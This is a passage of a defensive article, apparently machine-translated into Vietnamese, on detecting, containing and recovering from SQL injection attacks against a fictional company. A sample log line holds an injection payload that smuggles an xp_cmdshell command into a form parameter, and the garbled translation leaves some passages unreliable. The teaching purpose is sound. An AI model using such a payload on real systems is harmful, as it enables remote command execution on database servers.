Trong phần trước, chúng tôi đã xem xét một số hướng dẫn để cải thiện mức độ bảo mật ứng dụng. Tuy nhiên, các quy tắc có nghĩa là rất ít nếu chúng không được thực thi. Trong trường hợp của Tổng công ty XYZ, hãy nhớ rằng họ đã không nhận ra mối đe dọa có ứng dụng thứ hai (chương trình khuyến mãi kỳ nghỉ) sử dụng cơ sở hạ tầng của các ứng dụng đầu tiên (mua đối tác trang web). Mặc dù điều này có thể được công nhận là một lỗ hổng ra quyết định, tôi nghĩ rằng đó là xây dựng hơn để nghĩ về nó như một lỗ hổng thủ tục. Cách tôi nghĩ về nó, hoàn toàn tất cả mọi người từ không đủ năng lực để có kinh nghiệm có khả năng để làm cho bản án xấu, vì vậy một tổ chức phải luôn luôn cố gắng để giảm bớt lợi nhuận cho các lỗi bằng cách tạo ra quá trình rộng, dễ hiểu nhưng hiệu quả để giúp thích ứng ra quyết định. Những quá trình có thể XYZ Tổng công ty đã có tại chỗ để giúp họ đánh giá tốt hơn và triển khai các ứng dụng thứ hai?
Hãy bắt đầu với giả định rằng XYZ Tổng công ty đã có trong thực tế thường thông qua các hướng dẫn thiết lập trước đó. Có lẽ những hướng dẫn này là một cái gì đó một nhóm bảo mật nội bộ đã đặt lại với nhau, lắp ráp từ các nghiên cứu một bộ sưu tập các bài báo và các giấy tờ tốt nhất thực hành cho các trang web và phát triển cơ sở dữ liệu. Làm thế nào các nguyên tắc này có thể được sử dụng trong phát triển ứng dụng thực tế thế giới?
Inter-đội thông tin liên lạc. Đầu tiên, nhóm nghiên cứu an ninh và phát triển ứng dụng đội sẽ nhận được với nhau, có lẽ ngay cả trong một cuộc gọi hội nghị, cuộc họp mặt để phải đối mặt, để nói về mỗi mục trong phương châm. Điều này là tiếc là một thực hành phổ biến, nhưng tôi cảm thấy nó sẽ mang lại lợi ích cho quá trình phát triển đáng kể. Đó là thay vì thường là các đội phát triển làm việc trong một khoảng trống hoặc tệ hơn phần nào trong phe đối lập cho nhóm bảo mật. Đôi khi sự căng thẳng này tồn tại bởi vì có một sự khác biệt stereotypic giữa nhân viên an ninh, người được cho là suy nghĩ và giao tiếp trong các điều kiện hạn chế, và phát triển, những người cảm thấy rằng các hạn chế bảo mật làm cho nó khó khăn hơn không cần thiết để viết và triển khai mã của họ. Trong tâm trí của tôi những thế giới này lại với nhau là rất quan trọng, và vì vậy thay vì hướng dẫn giao tiếp như là một nghị định phi lý, nhân viên an ninh cần phải hiểu rằng họ phải đạt được một đội ngũ phát triển và cho họ lý do tại sao các biện pháp này là rất quan trọng.
Khi thảo luận về các biện pháp này, nó có thể rất hữu dụng để chạy mã mà "giả" là chủ đề để các lỗ hổng thảo luận. Phát triển và lớn như nhìn thấy mọi thứ cho bản thân và có thể bác bỏ những gì họ cho là mối đe dọa trừu tượng. Tuy nhiên, một khi họ nhìn thấy một lỗ hổng trong hành động, họ có thể cảm thấy một cách thích hợp có liên quan bởi những khai thác.
Mã / ứng dụng kiểm toán . Một khi các nhóm phát triển nhận thức được các hướng dẫn bảo mật, đột nhiên họ bắt đầu phải chịu một số trách nhiệm cho việc phát triển mã để đáp ứng chúng. Để làm cho công việc của họ dễ dàng hơn và đảm bảo chất lượng, các nhóm phát triển cả hai nên kiểm toán mã riêng của họ và có người khác kiểm toán cho họ. Điều này đã tấn công nhiều nhà phát triển như là một thực hành xâm lấn, nhưng tôi không có nghi ngờ rằng nó cải thiện ứng dụng.
Một cách tốt để thực hiện mã hoặc kiểm toán ứng dụng là để bổ sung cho bất kỳ hướng dẫn với một loạt các kiểm tra cho mỗi mục. Chúng ta hãy hướng dẫn # 3: "Chỉ có cấp EXECUTE truy cập vào các thủ tục cần thiết được lưu trữ. ' Đối với điều này, chúng tôi có thể đi lên với danh sách sau đây:
* (Phát triển) Tạo một danh sách các thủ tục lưu trữ được sử dụng bởi
ứng dụng (DBA) Grant EXECUTE cho người sử dụng ứng dụng cho tất cả các thủ tục lưu trữ trên danh sách các
nhà phát triển (DBA) Từ chối EXECUTE trên tất cả các thủ tục lưu trữ không phải trên danh sách
các nhà phát triển * ( DBA) Từ chối truy cập trực tiếp tất cả các bảng (SELECT, INSERT, UPDATE, DELETE)
Những nhiệm vụ này sau đó có thể được tái kiểm tra bất cứ lúc nào của chu kỳ phát triển, hoặc thậm chí một lần nữa sau khi mã đã được đưa vào sản xuất.
Một tập hợp các kiểm tra mà nhóm phát triển có thể xây dựng cho bản thân là phải có một số hình thức của các công cụ kiểm tra mã để đảm bảo rằng các biện pháp cơ bản được đáp ứng. Ví dụ, có thể là một biện pháp rất thô để đảm bảo rằng nguyên câu lệnh SQL không được xây dựng sẽ được thực hiện các văn bản tìm kiếm cho 'SELECT' hoặc SQL khác từ khóa phổ biến.
Nguồn điều khiển. Một thực tế mà tôi theo bản thân mình là đảm bảo rằng bất kỳ mã tôi phát triển được đặt trong một số loại hệ thống mã nguồn điều khiển tốt, chẳng hạn như CVS hay SourceSafe. Đây không phải là chỉ là một ý tưởng tốt từ một quan điểm phát triển ứng dụng, nó là cần thiết để bảo mật ứng dụng . Hãy nói rằng XYZ đã có một đội năm phát triển, người đã gặp với các nhóm bảo mật và học hỏi về các biện pháp an ninh và đã làm việc chăm chỉ để sống với họ. Họ thực hiện tất cả các chi phiếu cần thiết để đảm bảo rằng mã của họ triển khai được sạch sẽ như họ có thể làm cho nó. Trong suốt sáu tháng tới, họ cần phải thực hiện thay đổi gia tăng và các bản sửa lỗi mã. Nếu họ sử dụng một công cụ mã nguồn kiểm soát tốt, họ rất rõ ràng có thể xem xét tất cả thay đổi đã xảy ra từ các phiên bản triển khai của mã này . Tuy nhiên, nếu họ không sử dụng như một công cụ, họ có thể không tích cực xác định những thay đổi đã được thực hiện và các nhiệm vụ xem xét mã trở nên hầu như không thể. Các lợi ích khác của kiểm soát nguồn được thảo luận trong phần tiếp theo .
Xác định: Biết bạn đã có một piggybacker SQL.
Một điều đó là khó khăn về quét cho SQL piggybacking ở mức độ mạng vào thời điểm này là có những đặc điểm khác biệt về các chuỗi có thể được sử dụng. Có lẽ như các công cụ hacker phát triển, một số chữ ký thông thường sẽ xuất hiện. Đối với các trang web nhỏ, nó có thể được có thể để quét cho hoạt động bất thường như các URL dài, hoặc bài viết trên một trang web mà chỉ nên có GET, nhưng trên bất kỳ trang web phong nha kích thước này sẽ được ngăn cấm.
Điều này có nghĩa rằng có nên được đăng nhập và theo dõi được xây dựng vào bất kỳ ứng dụng phục vụ các trang động. Ví dụ, ta nên xử lý các lỗi gặp phải trong việc thực hiện thủ tục bằng cách đăng nhập thời gian, các biến trang yêu cầu ( như HTTP_USER_AGENT và yêu cầu IP), tên thủ tục lưu trữ và tất cả các thông số để phân tích. Nếu điều này được thực hiện nỗ lực tiêm lệnh SQL sẽ đứng ra như một ngón tay cái đau trong bối cảnh giao thông bình thường. Dưới đây là một ví dụ về những gì một ứng dụng có thể đăng nhập :
DATE TIME APP_NAME SCRIPT_NAME ACTION PARAMETERS DEBUG_INFO SRC_IP BROWSER RETURN_CODE
2001-12-31 00:12:45 HOLIDAY_PROMO store_list.asp GET state=MI NONE 172.x.x.x Mozilla[...] STATE_FOUND
2001-12-31 00:17:45 HOLIDAY_PROMO store_list.asp GET state=CT NONE 172.x.x.x Mozilla[...] STATE_FOUND
2001-12-31 04:31:33 HOLIDAY_PROMO store_list.asp POST state=state=MI'%OD%0Axp_cmdshell+'dir+c:\*.*'%OD%0A-- NONE 135.x.x.x Mozilla[...] FAIL
2001-12-31 00:17:45 HOLIDAY_PROMO store_list.asp GET state=AZ NONE 172.x.x.x Mozilla[...] STATE_FOUND
Bằng cách tạo ra các loại của các bản ghi, bạn không chỉ có một kiểm toán hoạt động của các hoạt động trên ứng dụng, bạn cũng có thể thực hiện thông báo lỗi dựa trên gây ra cho hoạt động bất thường trong các tập tin đăng nhập. Điều này có thể chủ động liên hệ với một quản trị viên với các lỗi cụ thể.
Trong trường hợp của XYZ, bạn sẽ nhớ rằng nhóm bảo mật của họ đã đặt mã lỗi đăng nhập vào ứng dụng thành viên duy nhất an toàn hơn để theo dõi các yêu cầu bị thay đổi vào các trang web động. Khi nó xảy ra, khoảng hai tháng sau khi Def thực hiện cuộc khảo sát của trang web XYZ và nắm lấy thông tin đặt hàng, một quản trị viên hệ thống XYZ kéo lên các bản ghi lỗi ứng dụng và nhận thấy các nỗ lực Def của SQL piggyback vào các ứng dụng chỉ dành riêng cho thành viên. Tuy nhiên, ông bỏ qua thông tin này bởi vì ông không hề biết rằng có những chức năng khác, không được bảo vệ năng động (trong việc thúc đẩy kỳ nghỉ) mà không đăng nhập bất cứ điều gì. Một số script kiddie hit trang web một lần và để lại, vì vậy các quản trị viên hợp lệ đốt cháy các logfile vào đĩa và gửi nó sâu vào Iron Mountain, nó nằm ở đâu. Nhưng câu chuyện kết thúc của XYZ, chúng tôi sẽ tiếp tục như thể họ đã không thất bại, mô tả quá trình xử lý sự cố khi chúng ta đi.
Đã XYZ thậm chí còn đặt tham số đăng nhập vào các trang web xúc tiến kỳ nghỉ, bất kể các tham số kiểm tra, họ sẽ có ít nhất là nhận thấy một thực tế rằng ai đó đã cố gắng mở rộng SQL piggybacking chống lại ứng dụng của họ.
Trong kinh nghiệm của tôi các nhà phát triển cảm thấy quá mạnh mẽ rằng đăng nhập 'làm chậm ứng dụng của họ. Tuy nhiên, có gần như là không có cơ hội khác mà người ta sẽ bắt piggybacker như Def mà không cần phân tích đăng nhập ứng dụng. Cuối cùng, một số nhóm tại XYZ phải chịu trách nhiệm chải thông qua các bản ghi này ứng dụng theo một lịch trình là chấp nhận được cho các mục đích an ninh, có lẽ không ít thường xuyên hơn trên cơ sở hàng tuần.
Ngăn chặn: Giữ một vấn đề xấu từ trở nên tồi tệ hơn.
Như được mô tả trong phân tích của chúng ta về cuộc tấn công của Def của, nếu Def đã có thể thực hiện xp_cmdshell, ông sẽ có hiệu quả bị xâm nhập các máy SQL Server. Hơn nữa, luôn luôn có khả năng rằng có những lỗ hổng khác trong phần mềm cơ sở dữ liệu có thể đã được khai thác để truy cập vào hộp. Kết quả là nếu nó là được biết rằng mã không mong muốn đã được thực hiện trên một máy chủ SQL dưới hình thức tiêm lệnh SQL, nó nên được điều trị có thể bị tổn thương và được đặt theo thích hợp của tổ chức thủ tục kiểm dịch (bất cứ nơi nào từ dùng nó chưa có mặt trong diễn đàn và đánh giá thiệt hại thấp mức độ định dạng).
Việc đánh giá tiếc là không có thể đi kèm với một sửa chữa nhanh chóng. Ngay cả nếu bất kỳ loại SQL truy tìm được thực hiện trên máy chủ SQL, nó có thể là không thể phân biệt các truy vấn hợp lệ từ những người không hợp lệ, và trên một trang web được truy cập nhiều, nó sẽ là cấm để đánh giá nhiều trong giai đoạn đầu của ngăn chặn. Nhưng nếu có lỗi hoặc các bản ghi thông số từ các ứng dụng web, điều này nên được có sẵn cho nhóm nghiên cứu đánh giá, mà cần phải có là thành viên của nó không chỉ xử lý sự cố đội hình tiêu biểu, nhưng cũng là chìa khóa thành viên phát triển ứng dụng và nhóm hỗ trợ, những người sẽ có thể giải thích động cơ và mục tiêu của kẻ tấn công. Bằng cách xem xét các lệnh đã cố gắng, họ có thể undo bất kỳ thiệt hại mà đã được thực hiện, và hiểu được mức độ thiệt hại.
Là một phần của việc ngăn chặn ban đầu, ước tính một cách nhanh chóng nên được thực hiện như các máy khác có thể đã bị ảnh hưởng bởi các máy chủ SQL nếu nó đã bị xâm nhập hoặc được sử dụng bởi xp_cmdshell .Ví dụ, nếu máy SQL Server đã bị xâm nhập, nó có thể quét tất cả các máy khác trên đoạn mạng của nó, hoặc đã được sniffing lưu lượng truy cập . Nếu bạn có nhiều hơn một người Fielding vấn đề này, nó có thể được khôn ngoan để đặt một người vào làm cho một số các máy tính khác được an toàn, trong khi khác thấu suốt SQL Server.
Cũng giống như với bất kỳ hệ thống sản xuất khác, không nên có một số loại công cụ có sẵn của nhà nước đánh giá, giống như các sản phẩm Tripwire hoặc tương tự mà có thể xác định nếu các tập tin và các thiết lập đã được thay đổi. Tương tự như vậy, sao lưu cơ sở dữ liệu có sẵn để nếu dữ liệu đã bị hỏng có ít nhất là các tùy chọn khôi phục lại một ảnh chụp trước đó. Điều này sẽ được thảo luận trong phần phục hồi.
Ngoài ra, nếu MS SQL Server trên cùng một máy như là máy chủ IIS, có một số lo lắng thêm. Chúng ta hãy nói rằng XYZ đã cài đặt IIS và MS SQL Server trên một máy duy nhất, mà không phải là phổ biến. Trong trường hợp này, Def có thể không chỉ ảnh hưởng đến cơ sở dữ liệu mà còn sửa đổi các trang web, cho phép anh ta, ví dụ, tạo ra một bãi chứa cơ sở dữ liệu trong thư mục gốc web IIS, và sau đó chỉ cần tải về cơ sở dữ liệu thông qua web. Nếu đây là một khả năng, máy chủ IIS có virus và quét phần mềm độc hại, cần phải có các trang web cài đặt lại từ nguồn ban đầu của họ, trong trường hợp mã hoặc nội dung được sửa đổi độc hại.
Đối với một bộ nhảy, một gợi ý (cũng sẽ được thảo luận sau này) là phải có một 'đốt cháy' hoặc một đĩa CD, trong đó có nhiều tập tin cài đặt và triển khai càng tốt. Một ghi cài đặt điển hình của một trang web sẽ bao gồm:
Một biểu hiện của đĩa CD
danh sách kiểm tra cài đặt (s
) tất cả các file HTML và kịch bản trong cấu trúc triển khai
của họ * tất cả các hỗ trợ thư
viện các tập tin * phần mềm của bên thứ ba hoặc ít nhất là hướng dẫn làm thế
nào để cài đặt phần mềm * phím cấp giấy phép và các thông tin cụ thể để máy này
tất cả các tài liệu dự án / mã được tạo ra cho đến nay
* * nếu có thể sao lưu dữ liệu khi nó được phát hành vào sản xuất
Tất nhiên, các đĩa CD này sẽ được bảo vệ, vì chúng chứa thông tin có phần nhạy cảm, và nó gợi ý rằng họ không chứa thông tin nhạy cảm nhất, như các khóa mã hóa dữ liệu đặc biệt nhạy cảm. Trong giai đoạn Ngăn chặn, các đĩa CD có thể được sử dụng để định hướng xử lý sự cố với những gì được trên máy tính này, và sau đó trong giai đoạn phục hồi, họ có thể được sử dụng để cài đặt lại ứng dụng khi cần thiết. Việc xử lý có thể sử dụng đĩa CD để so sánh nội dung của máy chủ cài đặt của nó để hiểu những gì có thể được sửa đổi trên máy mục tiêu.
Xoá: Đặt dấu chấm hết cho lỗ hổng này.
Thực hiện bất hạnh mà các nhà phát triển phải đối mặt nếu mã của họ là bị hack bởi SQL piggybacking là để tiêu diệt hack, nó về cơ bản có nghĩa là họ phải tiêu diệt các mã yếu từ các ứng dụng của họ. Điều này có thể là một nhiệm vụ khó khăn đối với nhiều người, đặc biệt là những người không được sử dụng để tổ chức các thông tin đăng nhập, thủ tục lưu trữ và đặc quyền, và những người lâu để viết tất cả các mã trong chuỗi dựa trên các câu lệnh SQL.
Tuy nhiên, sức mạnh sinh ra các khó khăn, và tôi thấy rằng hầu hết mọi người bắt đầu sử dụng các hướng dẫn trên, bởi sự suy tính trước hoặc suy nghĩ lại, thấy rằng sự hiểu biết của họ về các bộ phận cần thiết giữa các thông số và mã trở nên rõ ràng hơn và các thần chú tôi liệt kê ở trên bắt đầu gây được tiếng vang.
Trong một sự cố như được mô tả trong bài báo này, tôi đề nghị dùng hai cách tiếp cận để xoá: ngắn hạn và dài hạn. Các mục tiêu ngắn hạn là cố gắng để vá lỗi càng nhiều của các mã ứng dụng để kiểm tra các thông số, những mục tiêu dài hạn là thiết lập một tiêu chuẩn cao hơn cho mã và ứng dụng của nó.
Nhiệm vụ ngắn hạn là để theo dõi tất cả các mã mà vượt qua các thông số kiểm soát vào SQL. Để kết thúc này, tôi đề nghị làm một tìm kiếm toàn văn bản từ Windows Explorer cho 'yêu cầu' chống lại các mã ASP. Điều này sẽ tìm thấy Request.Form ( ) , Request.QueryString ( ) và yêu cầu ( ), được sử dụng để chấp nhận các thông số từ hình thức và URL. Trong các trang kết quả, bất cứ nơi nào các thông số được đưa vào SQL, chức năng sử dụng tương tự như các chức năng numToSQL và strToSQL tôi đã mô tả trước đó trong bài báo để thực hiện kiểm tra thông số cơ bản. Việc làm này sẽ nhanh chóng vá lỗ hổng trong ứng dụng.
Nhiệm vụ lâu dài là để đánh giá liệu thông qua các hướng dẫn tương tự như những người được nêu trong bài viết này. Nhiều tổ chức có thể tìm thấy thủ tục lưu trữ là một vấn đề, nhưng quyết định để thực thi hạn chế lớn hơn trên cơ sở dữ liệu hơn so với trước đây đã được áp dụng.
Phục hồi: Trở lại bình thường, có thể .
Phục hồi có thể là phần khó nhất của quá trình này. Nếu không có khai thác gỗ hiệu quả, làm thế nào bất cứ ai cũng chắc chắn rằng lệnh không được piggybacked cho tháng, ảnh hưởng đến theo những cách tinh tế đáng kể, tính toàn vẹn của dữ liệu? Đây là cơn ác mộng của bất kỳ chủ sở hữu ứng dụng.
Liên quan đến phục hồi dữ liệu, nếu bạn chắc chắn có thể xác định các điểm mà tại đó các lệnh đã được đưa vào, sau đó có một vài con đường hồi phục . Nếu cơ sở dữ liệu đã có một bản ghi giao dịch, nó có thể được có thể xây dựng lại cơ sở dữ liệu lên đến điểm sửa đổi bằng cách khôi phục lại các giao dịch lên đến một điểm nhất định trong thời gian. Sau đây là giao dịch-SQL quy định cụ thể DBName_bak1 như sao lưu đầy đủ, vàDBName_log1 là nhật ký giao dịch. Điều này sẽ được gọi từ bên trong một công cụ quản lý như isql :
RESTORE DATABASE DBName
FROM DBName_bak1
WITH NORECOVERY
RESTORE LOG DBName
FROM DBName_log1
WITH RECOVERY, STOPAT = 'Apr 15, 1998 12:00 AM'
Nếu các lệnh đã được biết đến là không hiệu quả (như chỉ đơn giản là chạy các câu lệnh SELECT) thì có lẽ không có phục hồi dữ liệu thực tế được thực hiện. Các bản sao lưu thường xuyên hàng ngày hoặc khác rất quan trọng cho việc khôi phục dữ liệu và so sánh thay đổi giữa các bức ảnh chụp khác nhau.
Mặt khác của đồng tiền này là mã phục hồi. Ngay cả nếu nó không xuất hiện mã ứng dụng đã được sửa đổi, nó có thể là một ý tưởng rất tốt để hoàn toàn cài đặt lại tất cả các mã kịch bản và thủ tục lưu trữ, và nếu có thể xây dựng lại các bảng. Ví dụ, nếu Def đã sửa đổi một bảng kích hoạt trên một bảng thông thường hoặc thủ tục lưu trữ? Kích hoạt này có thể được bí mật đăng nhập dữ liệu, hoặc thực hiện các hành động bất chính khác.Nếu bạn lo sợ rằng bất kỳ thay đổi cơ sở dữ liệu của thiên nhiên này đã được thực hiện, bạn nên phục hồi từ một trạng thái tốt được biết đến, như mô tả ở trên. Các mối đe dọa của các loại thay đổi là một đối số tốt cho việc sử dụng một công cụ kiểm soát nguồn để quản lý thay đổi mã và triển khai của bạn. Bạn luôn có thể sử dụng nó để khôi phục lại mã của bạn đến một nhà nước tốt được biết đến. Như một ví dụ với CVS (các phiên bản đồng thời hệ thống), bạn luôn có thể tag một phát hành tốt mã bằng cách thực hiện như sau:
$ cvs rtag Deploy20020113 WebsiteASPCode
WebsiteASPCode là tên của module CVS, bạn muốn đánh dấu như triển khai, và ở đây chúng tôi đang đem lại cho các thẻ biểu tượng Deploy20020113 cần lưu ý, bằng cách sử dụng một quy ước đặt tên được xác định trước, rằng đây là cơ thể của mã đã được triển khai vào ngày 13, năm 2002. Bây giờ phiên bản này của các tập tin được gắn thẻ, chúng tôi luôn luôn có thể gọi lại những phiên bản đã được triển khai chính xác bằng cách phát lệnh:
$ cvs export -r Deploy20020113 WebsiteASPCode
Điều này sẽ trích xuất toàn bộ cấu trúc của các tập tin chứa trong WebsiteASPCode đã được đánh dấu như Deploy20020113.
Bài học kinh nghiệm: Kết luận.
Trong khi đó, XYZ Tổng công ty không bao giờ có cơ hội để học hỏi từ thất bại hư cấu của họ, chúng ta có thể. SQL piggybacking không có vẻ đặc biệt thích hợp cho các hoạt động wormlike lớn, như Code Red hay Nimda, như ứng dụng của nó thay đổi từ một cài đặt. Dường như với tôi rằng mặc dù sâu Internet đã được đặc biệt đáng lo ngại trên một quy mô lớn, một cuộc tấn công trực tiếp như một cuộc tấn công SQL injection lệnh có thể chứng minh được nhiều hơn nữa ngấm ngầm cho một tổ chức. Đây là một phần bởi vì phần mềm độc hại như Mã Red và Nimda có thể nhanh chóng xác định bởi các chuyên gia nhiều như một vấn đề và chiến đấu với tinh thần đoàn kết ít nhất là một số, trong khi đó lỗ hổng mã trong một trang web duy nhất có thể được không bị phát hiện, như trong trường hợp của XYZ của, hoặc thậm chí nếu các thỏa hiệp được phát hiện, sự phục hồi có thể không bao giờ được hoàn thành. Làm phức tạp thêm vấn đề này, các nhà phát triển hiểu được khái niệm về cài đặt một bản vá (nói, để bảo vệ IIS từ IDA . cuộc tấn công), nhưng để áp dụng ngay cả một cái gì đó như là đơn giản như một tham số kiểm tra trong các ứng dụng web tấn công nhiều rắc rối bởi vì nó đòi hỏi phải tuân thủ đầy đủ, và tôn trọng các nguyên tắc như thế đặc quyền tối thiểu.
Trong phản ứng đến chiêm niệm đó, tôi muốn mang lại so với bộ đệm các vấn đề tràn trở lại vào xem. Lỗ hổng tràn có mặt trong các mã trong một thời gian dài, nhưng chỉ trong năm qua, hay có một khối lượng quan trọng của người học về những vấn đề này nghiêm trọng như thế nào. Sau nhiều năm tuyên bố rằng lỗi tràn bộ đệm không liên quan bởi vì họ yêu cầu các nhà cung cấp chuỗi phức tạp được thông qua vào chúng, nó là bây giờ rõ ràng rằng bất kỳ ứng dụng để tràn là xứng đáng sửa chữa. Tôi hy vọng rằng trước khi thế giới thực quá nhiều câu chuyện tương tự như mở ra XYZ, tiêm lệnh SQL sẽ được thực hiện nghiêm túc bởi các nhà phát triển và quốc phòng trong chiều sâu chiến lược mạnh mẽ sẽ được thông qua.
Bên ngoài Tài liệu tham khảo
"Phát triển ColdFusion ứng dụng", bản quyền 1999-2001 Macromedia Inc; http://www.macromedia.com/v1/documents/cf50/cf5_developing_apps.pdf
"CFML tham khảo / ColdFusion 5," bản quyền 2001 Macromedia Inc; http://www.macromedia.com/v1/documents/cf50/cf5_cfml_ref.pdf
"DBI trang người đàn ông, bản quyền 1994-2000 Tim Bunce, J. Douglas Dunlop, Jonathan Leffer.
"Java.sql trọn gói," bản quyền 1993-2001 Sun Microsystems, Inc; http://java.sun.com/j2se/1.3/docs/api/java/sql/package-summary.html
"ADO Lập trình hướng dẫn và tài liệu tham khảo," bản quyền 1998-2001 Microsoft Corporation;
"Secrets & Lies: kỹ thuật số an ninh trong một thế giới nối mạng," bản quyền 2000 Bruce Schneier. Được đăng bởi John Wiley & Sons, Inc.
Comments
Post a Comment